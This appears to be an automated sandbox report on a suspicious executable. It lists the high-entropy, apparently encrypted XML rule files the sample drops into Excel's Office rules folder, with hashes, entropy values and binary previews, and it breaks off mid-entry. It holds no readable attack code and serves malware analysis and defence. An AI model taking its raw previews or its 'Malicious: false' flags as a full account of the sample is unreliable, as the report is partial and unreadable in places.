Preview:	<?xml\H8.zu.?.........6u..qT....p2-...T)......562.......xy.Tjv..n.R...\@(.$._..dFf......(.c.e....f;..q.m#.~... ........2x.CP.r...c.....CN"w].O....(.Y.K......B.kC...`I.. ..i~Rnx.."4..Z.`7.R....v;..W......:.#5x(.....;3D.vf.../W.A.-....d.N.."..LE...Ea?@....:......Y.....v..x....,..>..>...Kn./;6_P.U...'l.]...N.............e&.7.$.w..g.LZ..x.R..\...6s..D..f..0$G. #:...lm..E...X.0.?..I...DB..(...3(X.Dr..3........M..{..Zj..r..p..g..<RvD.Y.C>...X....D~.....KLs79.I/..X4.].A..4..Z..#V...5\v.h...B....Q.=N..a4.S.....PKK..LP.....L.`.s......F2.n.........../~h.)8.4D....8.......I.s.v.N.......v.~Q.vX..]x.....##..r.\|.4.\,c....4.{....:....(.:etb+{4.v....,...6.<..K.&..:2.......o~...0zC..,.....b..0.@.............\bh..\..r.a".n1......i.1.?Ma.-..O.X.7.m ..?C@"...r.........#DO...N..Ys.X.)-IwsS\|....7.h.{.D.pM.e$(.......i.c.O.%.3....>..N....3.k.Q>...Ny.iy9B5....-fM. .....sbuA)\|........=?\............(..>y.:...!.L9.s..}.gYX..n.].G....Q."y.^.C.@I.....=.?..zJ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63066v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.836803436361585
Encrypted:	false
SSDEEP:	24:Dz0kzDFt+vcmoRZqYMkRGLVcA3T6P/r+cVbD:Xd9fmo6YMkRuVcAD67FD
MD5:	81C8C4E8E9BE64D2E6A72C1386AE3BA9
SHA1:	CDECEDD4982F12F6D3738D167CE6C976E71EB05A
SHA-256:	E9F3BD91DD99C5DDB305FB0F5F6453F4E25C126BE69CECA27F34F721F0357605
SHA-512:	772EE9CE2362CFDE3798C70E45310B942ADECA89BF1D4254691AF55F663F58CC31E744201C797A3FBCF074D3DFE63D792F4F002E4778A3EF11C1675DBD2C6A0D
Malicious:	false
Preview:	<?xml.........U..l......#@Qrw6...._.,.I.C.X..@.7....=ra...y9MA...............v.8...:.'\|..5...d.O.$..&...C.j.U?...Vem..8#.._S..s...m,..?zc....EXg\|..z.+...:.......+4.(/./ y.....`.b..n.2..[.A;...M....V.t....$8.%.-.R4..J..}..+.n.-.6...XD..-b....0?:9.qu..k...R.Q...J..?.....G.x^+..#.V....#........W...\.ao.e7...k ..<...-J..h.. ....;...y?..G8{..^i..&>.i.....3s .`.....4U.(co...%.D..........)@.,..[X......w.....Z.;.P=.'..c..QI.mR.t......?.o.P..O...2............U.a..!.8..M3j..I.a...\|,j..6{S.S....t6.<..+.p....,h.{T.u...k7.H.......C'....:.OHV%g!. ..m0..!....v.....A...hc.S.5.>....4..Z.N........FU..!.?.........N.>.i..r..k.........f4.?7........T@..}.}%.........l..U.A;...,.w.....g.]....M..T....."...V/b8....b...w...h$...y...d(J..].\|...z')M.ZeE.....B`...\|....Z.../)..p.<^.}..T....PF.e-..x........J.V,..a..Q.........R....F..'.K.w"y9n.vI...N.ur.....LE.9@....t.dI]b:...u.7......6)N..v.V...].Sv.Cf..2.q........&..]..g... .....^.....M...(.b....z..j.%S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63067v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3109
Entropy (8bit):	7.945262189653451
Encrypted:	false
SSDEEP:	48:AOl2oX+v0/v202leZbvc4LcCAMwD/P/uOQsqACL/5hiC6WWsTA7CZdKMDLcFD:A82j42NSEMcCAMwzPWOJzCLRpzHrHc9
MD5:	96F410199476AC620CA2E4F7D8007E7F
SHA1:	6C6E96E6A7684802562A61CE92EC04841688EF51
SHA-256:	CB1D12184A7BE672F43C2B194C42B68E97AB3DE6015BA5733FB3BD5B9C5A4A8D
SHA-512:	D3BD5A37F94A28D2BDE7E7FEC7DEF32B171D1B0C9440C9318D7A30F6156C28CAC7E480DF3F2E1C92B2A6C581136EC5E92114A223B281DD4590BD6E08D1E216BC
Malicious:	false
Preview:	<?xml.R.....Z......J?H.\C...1...F`,`..@.5P..J>\|V.^..%iZ..Mkw.{.:.w....i,@..#.'.Q,.81..cih.?l...<.Ge..U...a..[........7.@............7......\|.Zn.VP\-9[u....[...l....X.d.p..Yh.~W..w......Kc............b<..].........~.8....N...Z...'..UP.i...Eh......0E..:"[..H~.........aH.8D.Vo`.8....U.T.0..........X).L\.r9C.I........U...[T.f.....c.......6.$...9X.......EO..C..&d."....].D.X.2^o.......+.mr%L.M1yJ.jf:........B.Hu.O^>eN.M...bN\|..C..q.Z.9.Gm.i.b...G.................l..{&..S>h3^.}2....1...mb.\...t.K..\7c.R.$`......&.F.:.t.3N..&..,.'.dZ....3..0..HO....5....t.D.+...l8+....j......%.j{x..vq.2G..o.i.....\.T.......iH.\|.....E.K..N.0.}.uj.t...f.N.0*R3g.].m...u.....".::j..c...}7.?...Xt......&s/...vR.....vxJ\|.x...^.-..fFr.h........V.....l.......d...G.u...,.......QA.=!.G..uC...Rl..N..5v..p(..Ez.C.]...`.UZi.C<..e..p~.....N=G(e;...0DD...4#;.:.I...U>g...f..?sd....k..}t.cEZsG.J....B$..b.c....&.#./.l."..;%.zd.I....$l.N.?..B'..PyD6.M........8..D...'a;..".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63069v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	7.925316243036094
Encrypted:	false
SSDEEP:	48:NSibCx0+nB99Dr5ge0gp1esPhrMxWLWbKCIS4LrapbzfFD:Yim0+B99ZgecsPhrMxW4KeHf9
MD5:	A3BA725FD504D473B49E35C78747E296
SHA1:	2F9476FE60FBA1223793957129C2258FB1E29C20
SHA-256:	C5462A4D1967DBA445420FCE6B906EE83EBBF548B3782B0DC022F4BE0FAE8AC2
SHA-512:	266FB808C6107143AE62DF97099C7761E2AB813B44C23173704B31EE791776DEB33BE2DBB5A3B49FCC8915F56B819EA32FA4783DED54C9DB3673F5DD93E7BEB0
Malicious:	false
Preview:	<?xml...d?.~a#`U...Ga.1...7...s.....]}.......{..O...L...........aMi.%....n...5.,c.C%N....~....{n.....q..6p,;......@...........\|.f........6..28...)..2[.........Z.6....sG>.....Iy..Z.4...\|..z.....~.g....Z..yD/..D...Q.3.CL.....a........^....SX.^......g....+.."rz...l@...p...3..ve>...(..=.ed...0...X9....xoj...Kj.pf<......=Q....3..Kz.E..4._..L...-..9.uWT..cu..R.c.!.. ..#..v..4....P..T.zm..,b_.....;.!;z......x........../...~...prj].t4.....i.oS.1'tq."F..dw.\6.4.4..O..v.W.W.WU..I.~i..PN...s...,.:...j2.v......\.<.d[..c+&.?(.0gG.....B...T~...Z...\v./.......\|:\B.@1o..k`.E......Z.%....C!..2.....g@..N....Yrm...N.u.G&..<....\...?...ap........)}.#.;...r............~.3.....w>.C[.66f".g..#..C..Yy.....-....:Cs..,.G.p$c.%.Jd. ......i...0...ns.(.....QS.4<D......C;....?!ce@....x..!.j..Q..7^.....D.U..8K..)uB....y....}..Z..r$.VJ{;T..eUQ7.)...[......&..K. v<.f.8...._hw.T.N.....Pe....f"x.1.?....P..f..g.WGW....][...z<.6..VaIP.O..yz.V...=y.f...{.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63070v5.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.842423841282223
Encrypted:	false
SSDEEP:	24:zmXaxMYZLrPMrQeLKQ8yVyO3l0Tge5FEfbrJbAx8fo+LfQI8T13P6Cm+h2MVbD:z9xM4bOQemzO9l6AHhAF+LfxiTm+gMFD
MD5:	3B764B40753186725F90D75D20AA2580
SHA1:	7E5284F9EE8D58F0642BEF4CA91D1F838B7E771D
SHA-256:	8F3B4FB49FB5D393F172E36A6AC2121E9A32DC3323B891316266A38B54E032B6
SHA-512:	7E4B92E323F67A1F0862E2D4A3BEAF82B2779D3A071344E69A67A3E2DABCAE23027480C61DCF9C0B0AD5A3EA506503BCB31548FF3795AF63269ACC91C0B1D8EC
Malicious:	false
Preview:	<?xml.J.....$.%>.a..j.@[.0\|.j...o.......T^B.X..3.v.s{..y..S...~.LK.(f...Z.q.?........;7"6....?.[.{...'.;..L.h..-j...=...t\|.;&.:.F.Cj..s.b..vj...Lp....c..R.~..0Y...v ].^F8.b.[.K.?.)9..5...NB[..?S......p..}X..7..)..$.u...uW.t.5....F..tu~..]..5....t.}...%..#h\K..p..W...E.C.@.[?]u..)5M........6.A..\|.....Yf~..ji.t-..E-.Y..h..E,.9gS..'..H.....m...A....s?z........).v..QkE..U...S.x.3.G.PN_'.q..t).gqX.M...e....1..L.@\..V......,..=p../..m..w...;.._s..A~.qi...\....$`..JlJU.....O:..c..........H4..\.t...D...g..@\"4...wa...#...L...>P...q..a.1b.p.i....[...U.5.^.....B.f!.L}z..& -........6.K..?.]ABL...........C..`........S.S>.......;6;%...sC._..6dc.8....5..{..^....g79....g.....[G.N....S.I0.v...c...H.c........j..0..'.&...l..h..x.2..s..r.......<4...rG.#YjC.<..(...ja.U.(.a....%..Q....."=u.g....}.....&.Ogu...$....E..V.p...?.X..]Gt... 3m..}.#R.u.t..XM.l....(.3.>...L(.e.}...F..z.5.(.1..`X{.7DL.\|r. .Q.X...SC.4.a.^....W.(/q6.....{.(....k..5..I.n.f.`F......6.o.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63071v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.7008144384330715
Encrypted:	false
SSDEEP:	12:ndErx+3vCa485teUVHJDrIw/NbvvDA/qvKdb3Y7ITkPE+ZAjVcii9a:ndErKV5rHJDJxveqvuWIT4ZiVbD
MD5:	8E2D41CF60DA4045D4B31A472C190C7A
SHA1:	9EAB3B49E8FBCA04973B4DE170B1FC54CF9DFCC7
SHA-256:	E0D058583967F9BFA3F386BF2C25F13F6C0B6F078240D278F2F937136BC05414
SHA-512:	EA977CCBCF46DF5B73651C647BF1DA4376497058B2107A56690B832136D84C1F730DDDA4939CAABF31BBA9E2A4B1FB5BEE10AEDCFF720F37D646E9972FE48BB6
Malicious:	false
Preview:	<?xml...,%../...9I...\B..R./<..5A..>..L...J...`.]N..T.)..`9..6.l.b.....bzHwK.'..a!...M7].l..t...l...b.L...F.d2........I....C......J.TWQ....._X...........nN.ez....E.ah'7.2_.'.}.A...............QX.X....7............Sn...B...pP.2..G+Y...4-H......].0..M..%....t.........:..~.+.b\4..P()...7.G1..;.-.oP..eC.....W.o.u%...j.+.i.C.D...s.U.:.5R)..9..g"...5{..:....C.......$~<.Y..2.;n..Q......;...........\.1m...t.C<......M...1.\|$...2..k..G.&..5z.....C.....0.(C...M.%...sr..&.v..b..R...>.....A..g..t..z.O....IJ:.Z..i...Q..O.<.a....?...E..,c.+/A..X*.t.'._fl..)..sc.&)...\5.^v...$Kxe.(.>....K.8.it...\..~.sZ.\=+..S.3:!........X.x.!.L..~G..\|...YN._.4.b...E..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63077v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.857193621651467
Encrypted:	false
SSDEEP:	24:6KZjoeILq7KcTNlCQSvLu4ncSAxm8yTZQnB/hzsP3zHPw6Pk38BqVbD:NZ7+cZQ2sVAj0ZQnB037HkMMFD
MD5:	E92D62110D835A4C5C970499A433DB41
SHA1:	F308C8A583F0664D951695143770639D55CDDF68
SHA-256:	9F10FCB3A359BC047ABC5F18853D31C46ABB6419188D75E9CF5E9992A80E097C
SHA-512:	46275B2DD883AE58765E635EFA982B097C1450D1B00ED42B6495CE0B553B813634C91DAA6B5AD6FE35768792BC9EB7CC5B29FC54DD504A405053457DF677F5D7
Malicious:	false
Preview:	<?xml.hBF.......o..z1........q=...Sj7aY...4..h...2.u.2^.l....rC..."3..m;.}...>.KV...2..1...x.s.=E.Of.l.....@.. .bPu~."..,.....A...M.......o. .]....-A...s.[kp.y..3.5.>..G......5.....z:..1M6yP...:L..&.....Y...A@.~...lv8q...)..+...;L7.g#...l..X..T..<5..-..%.H [..J...i..)h....E..f.9GVU.,...z.....ws..>OS.).e.I.&m.#......{..v.'.RK9....>..t..8A...r8......*.Dj.h......8..k....Tx"-.\|.M=.=\..............\|H.x....J.....;!..;tb....O..f..H......1H8..{..&&..b..Cl3..',...z[6...\|..q.H..@..[.C.....e5..`mj...\|.p.[.....M.A.....0-.k.gk.u.......WZ.UZ...6...yK[...........+..E...".CsM&.zO.h.K...0.H..8.7....!....BU..$_.....\Yr..I=m..ofaV.>.Sy.Dmb..)=....VRm..Y..0%....R..:.k.J9..5!KWH.![;u/..=Sv.....?...Y.~_.3...%=..q..T_........!. D......>...0&.K.ASN<.....I...Q........t.i.=...`j...5`..h.i!.7..;.k...7].5.....[y..././.m.N....Sz......l..X]....P{...,=...N...-w.>.>..4(.H.@..c.d......&..IVl.O.#).Z.:.q,S.B[..&..u....{'."...^..%..b...-.../.&.3#.h.E..C.q%......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63078v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	708
Entropy (8bit):	7.645122124499569
Encrypted:	false
SSDEEP:	12:/oT/MFlcA3v72NnPQfwy6/1+R+VpmZirKrCLq4iG4MeQQ3jVcii9a:QzMrcAD2NnPQIlcR++0Gr4KMeZVbD
MD5:	1FC80F7B1800095BCFC5386B2E2EE66A
SHA1:	9B7BE94A4182017F2E86C0EAB55BA5EBC03EF0C6
SHA-256:	711C5DE54C428DED627774DCE44C3EF71656C68199DDF468B7944180DEF501B7
SHA-512:	8BEC8ACB370C0348397B7FF4F94804A576ACBE2130CB9AA3EE2A1ADFCF2847539CE05FE89FB0370020C64CEAF2CCE08F21A40F0C92B54B001254E87F1A411772
Malicious:	false
Preview:	<?xml..p..1.W.....7H..v.8..n...{.~#..N.h..s.ms1..S...C.u......i.......I....<.9)...].t..b.`....@0.6....o``R F.... JM.Au..,.=S.:B.b..),..n..BZ.......,..=..}\Y.OPXw...S\..y.\|.{.r....z...6...OBdst..V..6.9..Z0..D..B..Y.:A0.`u...n..A..G^.e.X.Q..<17B ...C}.?Ju..:......=.$.9#.E.p...J)@2....0...e.....v.....?.n.V....3N]...'Aq....8T...e.LU1oJ.....-.}..........I..>....z..c b$....0H.j..i.w.P{y...Ct..m..9.=.B.=..fd....DR..E...MI...&b&X!WP....e.."S....S.C.....?....@.j....&[.....\|.V._D(..0S..&]6.1.....#g..J.....:&..d..\|O8......a.....A..{.C..3.....to"?.o..5?..D............wv.IO.E..A.]l...mS.).]'....KF _'.X..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65136v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.8129349545850255
Encrypted:	false
SSDEEP:	24:zAzqgAWpZRSoRNtqcA9Kzf/Ou7OO3UdbBZ5CClUCOEUyFqqXscVbD:CpzijKzfWuCzBZ5mjEUyjscFD
MD5:	DB0C34B6C859E426636FF6CE7CA98ADB
SHA1:	45A7E0CDFA5EF5F0B02963DC1977AFC2C87ED199
SHA-256:	FBEE5D991B19FACB0FABF77379206928AD490AF238EE520F02C5EF1683604283
SHA-512:	AEAB3A53F44DD039762E354F1828D6B544E787DBB6BBAF78288CBB07705C3DFF7357D0D720D05A8A2BDC8D8BCC65B2FE8961D13D12A031ED764A14A55B6296C1
Malicious:	false
Preview:	<?xml@.O'.O>(.Y..#......W.bV.=}._...0..ld.....?........K..Dk..W^....K.sB..G...S4..n.....%..W...RW%Qr7u}....L.4.#R@.7...Fh..v....T(.w3.O.%.'.....DQ.,..CN..@...e...r.......Gz...?.<......g^..+.{.m.d.,.....cz.M\|..b...?.g...Q.....B..m....R.=.....m.C.N...ALJ._c..;....`j..V]E4.x.Y..!..sO.A.C\|.!..../k......#...........l..)...X....=...r.r.q&..y.MG.....Y.f2X.:......d.z...>..m.....l.E.W..7...$.&...y...o..4;.....\|.:=p.6..3..1c.....T...\v..%2%<b..5......n.&.'..@n...{....kuB...u...#.LU,.y...+..e...9..u.D...d....&....5p....v......D)3_~.)3....x.....B~u.o?lA.BW....}. ...#g.K\|.[...y.@.,7~E.d....F6."zE....L..%...L.ab....vp.....d-l..a!.{D.e......0.@.9-.."W.p..KE...G...g..J..T2.mOh.......!v..>5.`un.zd.m....D]MfD..g.&.=........(..r..cIuT..HD..@....L.+..Fi..y?..>./:t$..P[.@...)m..>...`Y<.?..Qf.."..y...<Q.}.5Z........@.U[.q&R..2......O.......=.z....B..*J%V...kvrL...jBL=......l....&.a..CVlY.X.....C...n...w..!.p%}.......).1.`.a.Px.@.K....3.`dX....HH}j.#.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65137v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.693499797937267
Encrypted:	false
SSDEEP:	12:nxeEfETgUkKeVsdKWSQyc5LVVGiHJkKwkuPGOJZVUuTwsMJct/fC2jVcii9a:xeEfEMUHeV8hSQNLxNCPFpPyctHCUVbD
MD5:	16804F068E81B7BB76F571D93F279753
SHA1:	94C2EA3017010D8210B18180E6C464F67F50B92D
SHA-256:	4771115992D9F67DC604E066FA1A1F76F31DD597611655EF816418B0E06CFC59
SHA-512:	A7748FA166DECB8B7D0F89CF1BD42419B91380C22E11007BA851AE792F8E99C1E22AB6A45149C81222EC920D3C9136BD6ECFD4EB73E10FFC567B49B3E636F027
Malicious:	false
Preview:	<?xml....Z.}.&........D1[....yl..u=...qa~.7....#.'.. ......_..F@^./..Jc...7.#..[.....Ex.g9...F..u......un...e...`E.L..:]Q8Gvi[..t.Z .....\|.....G"..v...W..N.'.....Z".a...bS7...%.........cQ.......;c.s^.[.=I'....q=....fj....[.cB..?./pVdh[O)..m4..fJ.M...i.c.h....N.I'.].U.....P.r..!...D...Pa..\q.'J>.".m.r....ia.....A`.I_.$..G. ci.K.n&..~T5...8u.f=M.hc.........3..4..s.x.M{I.1}HL.f~0..N^{.v.K9...).xg$Da..Ke.....x.....XW....TF......;.P......Zf(.}.HT)I...>....O?..,.*...l\|q...f..c....F1.~.[w{Ah..D..\|..~{n......s.{!..E...,..a.M.=.<.0..P.5.8.`..q.6.JV.Hl....5..9D..V?.......A..=l...<..,...&....5v..[...y...e..w.=..9.m..4.v...o..g.3l..$S.O......)b3N._.[..Ditkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65138v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.811996278582252
Encrypted:	false
SSDEEP:	24:s8ySiALELrannR3uN2RQSN/0Zxkccue/DVbD:7roHannNuMrN/0ZOhn/DFD
MD5:	28D80B1479B9F69158011CE60A792C92
SHA1:	9CED7603135BDD5FA563414B3FFD29383CCDFC4A
SHA-256:	5DC160E345CF1894B900F17A507F14AE1859E39CD46893B15FADE94198FE4979
SHA-512:	0DF6C2B55B4439641C719E83951F59F17C9F68289753F40E6089E1FE44AB57E48388AC7035BE8AD3A6AE24A7D70238A68EA1DB77427489172F8584044B6F2E92
Malicious:	false
Preview:	<?xml...@=.U...l1.@..;nt...Cx.&..d./...=...U^.F...A.I..(.A~.g).v.(..EME.....3_...r...iO...h...<.E.%[.....iW+x.s...L.\#Y.P.+e....&..&.2......2.....\....5x.2bT......K..._.@ ....e%..E..aS...7...;..]QSi......t.}...\|.........w..z`.8.R.a.A"_7..L..,=.&^.......J..b.N$7........&.t$.Mh..#.C.".<.jO...._..u^.._..nK}.......f)4.c.....M5g,....;O....].V.+\|r.jP.....z......6...........J..u;.....7.j.>.',.f@..2...T...cNp.p....< .k.5./.4O.@...X[fWn.c t6..h:2.b.a..Df.I@.^So..+3..r...c.6@..I.....^...WP.n....k.w.....=.._W\>..nR.j.QK'.k.......2.eU.-.'.I..6....tp([F`2..#.g,.....B.-.....(&.Wuf.4?...38(.r#P?.r..}.X.R..U...\|.d.2....m..Sb."_a.....=..q;g..QE.)...I....mG.U.F...h....m..<..../Z.(.(i").9..T*\|7.]H.&..._..cn..o......^.X...\|.o..6..R..)!....m.Nu}.......k..=.o.].\|'..."0...}^......H..a.v.''-..].j...0.......&.e9LR.-... ..ia.p.....{A.9.n.IK.fg..._..N.{...P.....{...$......D....K.F.b.,. Y..@....:....^."...)"./...n.^.7N>.^..1S..........KG.Q.=;JhY.)7.8.....;.?E..Z..J.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65139v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8095
Entropy (8bit):	7.9751949374966715
Encrypted:	false
SSDEEP:	192:+Ygs9I0SJCFegmyunTn3UdyzCU0gMcWK9FQ8BBE:+TmE+eTyu4dyzC/431nE
MD5:	7EC23F6F473BDE01A5D19E2837C623DA
SHA1:	D7B7717DA12D46161543FFF6C00A925931E0EBCF
SHA-256:	CAFE7F14E9E7BEA210F9DE6E6EC47B65FD7F6B5B169E5580A265A40161EF66E2
SHA-512:	F79208F51769BCBFD1AF38DCFFB91492FD4E34241951D8AE7DB03020516D0848583A7314EDA6D4A726CDC2EBDE306D8E49A0B8D8CAC5CD0C9079E26108BFEABD
Malicious:	false
Preview:	<?xml~..L.-S...-.../ ..t......k. .kw.}.<.G.a?......V.e...M-....~3.\|....fk....X.O./(W..>..T...&.ro'.....6MO...i..uaX\.Ge.j....l2t.:.J.h +.ed....X....A..b..=.Q..PIh..wG...dw9!..@+.;...1..d.y...}I.<1.OG.K#...)o..'&.N..o.Z...^....n...`....KBq...J`.....- .e.......T......Y0.]...]D58......!#..+..,.....T.n..o...../....2....#.w9.&...Y....._.r.p?_.K..........WWsF...l..^.Wa.g.....H..6{..#o?A/.q....s@kF.l...._-.........7.T}..O..._......B....v;..\|,:...[.....F./.[P...E..<.O.IR.3...B.".....{+-.A.Pm...p..d....M.'.....v\|./..G.&.v_9TY..7-.r...........TP....;.%\.....xf"R......0&cu.T.5K@.C..-Q..3.K..DIX..'D/.9...>......Gs..f.[1C.&\/.UX\|.....T./...6......o...;........g.D-.X...B.wGG.N....(G.7.dO/.C-..]..GDW.:...T.^j....o..r].\|....N...T.....v}.s.5...l{....q..XAw..=..~9K..{.Z..L..[.U...-.<..*N5..R\..NB..q.7.HG..t\.GQ.....0,....;. .gM..)..F.1z...{.....O..W'./B...%..`ij._.h..\|fJ.C&o..(...=.Z...l.u..y=j.I.....#....$u.7...R..BP.o.UVV'..........L..-.);M+....Y.Z%H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68000v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	7.804657485838533
Encrypted:	false
SSDEEP:	24:oYlvEI4Rx2RHuWMTfbI/pPdoMZ/+8Svvw5e0Y/VbD:otI8cRHCj2qMvGYsV/FD
MD5:	5FB381C58C8F66D6FBA0FDB63ACBA307
SHA1:	51968BFF9B8AB857D0E2974EBB161A8B9DBA3352
SHA-256:	E4DCA39C245D598CD86DECFC7564A8D2C05E40D1640CC1141FF7F44AB11F6162
SHA-512:	0363343C2CC8BB7F6A9E5B3A0F1BDB717187CC47010DAD12D8D985CED8A90858782A6C87CD940F259429DA9BF77BF257C970112B83B3EB5364B63E3DBCE00E43
Malicious:	false
Preview:	<?xml.a...KD_.@U..P.7.R.[w..C.b.m.u....@<.+J......2.U%::.......]f...o=..%l.....+..G....2....M.P..n.-n.........Wi.)>....KUhRL...9......t,<..0&c..~>..m..-....-....O....S.n.y..<.cI...<...vTfI.l.. 6.V..{G.y7.....uE.2.Y.t..R.....d......x:.7S.;r....j.<.h..b.....x.r.....S0.{.r...3.c{.yf'..'...Z.....f...FD.,Y.~.).s..l.Q........t#..}...L.O..K.bp.u.@AB$._E..6...X.1.........R.FW..\|b8........<...L..l..bd.m#.M...fE....+i.$.....@...........$.E.7P.>a4..S7........?:6.SU.-Y-..C...^H.bu+@.@.QQ.a_.)....9.3.....!........@....1".7...../J..v.....\.P}.....H(.....l.y.I(.Z..s..Z.y.y....t.l....E...[.).C.B.>...(+g......VVV.>..?..T..O9n....[7..}";.eG...{..W.......6.../O4.g.2#..*.......x..<.....C[.N.&.,0h.....D.....}.'[..{..[..>.&..2S.J`@..ql...F?....:O..E....A..y.#...@........].q'.>./q]....Z.....kuS....%..5.1u.3....1..V.4...........".x........{.%.EF.3...).....(....V..>...._w..2.o...S.n.X...>,.,)0....i...o.SD..b.&.=.U...P.N.....\....D..V.fitkm7MOsOlVQkbEQhWCVEWoMyGFhVjg

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68001v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.799011338836346
Encrypted:	false
SSDEEP:	24:vIr3XSC49js/k2ALQ+LinP7/C5aVLy8aBSKI7YKQscVbD:vIT4RPLRinH5aRI7QscFD
MD5:	D6A38DA5D726E9C5D7C95BB4CD561FCC
SHA1:	046B3B160109833961EF46A717B7DDF40A6D9873
SHA-256:	3339D1BE350D8B9F2A8E6C8F76ADB3C3A3FFE403E551F5E08A2890E72C63036D
SHA-512:	109F099F52C2D7AF4EADF8F52E181D2F4E5A54AF981FCD97CD1302DB38AA2E3A3137E80923A5650BF5E1C469020C3797AC3ABA6C8A3CB985E7BC6B934FEF58C6
Malicious:	false
Preview:	<?xml...y.7..A. h..+q'R..!...@>O0...;.R..@e.........B...UUc...py.Z.kX^.Y.....,.^....c.=...B.nG=:.f..].5A....N............?.4i.wyyq.`IR...=j.7bl.....5..#.j..Z.6.....3.w9z7.".e.L..\.(...W.7}...5...&......:>.+.Y.8...........Pp...CsMuF..d.....j...w...b"M.Z....]B@.b3.(p..2.k.@..n./..n.k...).I....B.5.....h....(..a...p....qol.J...".$hr.G..9]..;..t!....#y.stp..(...r`.%...Ex..m.H.,..l.P.g...X..`@...'...KfH}..e$'v.r4..\|.7gH.&.kTh...0..P0.g..eCkWx..D.p..!.@..1e...0...H.Z.V./.Qq..=>.I-.C....o...N.o.1.<".r.T.u$.e.&....n1t.$?.4....q..7s,...R..&.k.e.uE.....V.....(..7....Z.#...B..,.FI.B.4"90..%..d.....\|_..../..~...X.....K....Aw[r...K3.^_..q..\...R...C......c.`..&.{.A.<.P.R.\.S..)...../{.#.J^......aCsK..0?.1@#.e\k.."..c....53.0O.!..D.%..e.5Z...$..N.%F...@.7.,I....O..G..y.{2.`Y.....8Z...........S.X.......U.v-`....4_...G>...W.q ;.......u.t"..?.P.......#.....}.e^.:...H.QG[8u...g.@@.........y..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68002v11.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	7.935416075529402
Encrypted:	false
SSDEEP:	48:EDDonCQPLV4wlRoOLCZW+iW4C7eWqmwnToKujQMnVV2KlNKze9gG0NBBvqjHBO05:+knX+ZniW4UeBHToPVnnmj7SzA02vo/H
MD5:	7437BA8286F5BF15B4A58D096975FD67
SHA1:	C57422569563E6529716BFDFECFF6A5D711E22DC
SHA-256:	3FC74B4946B52E6ACA62AE12BEE688615FF3D0C4DB2B2EFED6C989B1660B0DDB
SHA-512:	F5B89AA0423D5C40DBA9CE80DCF7783AFCFDF9AC21509548F08FD1286E64648FBC437B17DAE345F072EFE1AA537AC7C2317FD5B297989CDCFB38037DC9736865
Malicious:	false
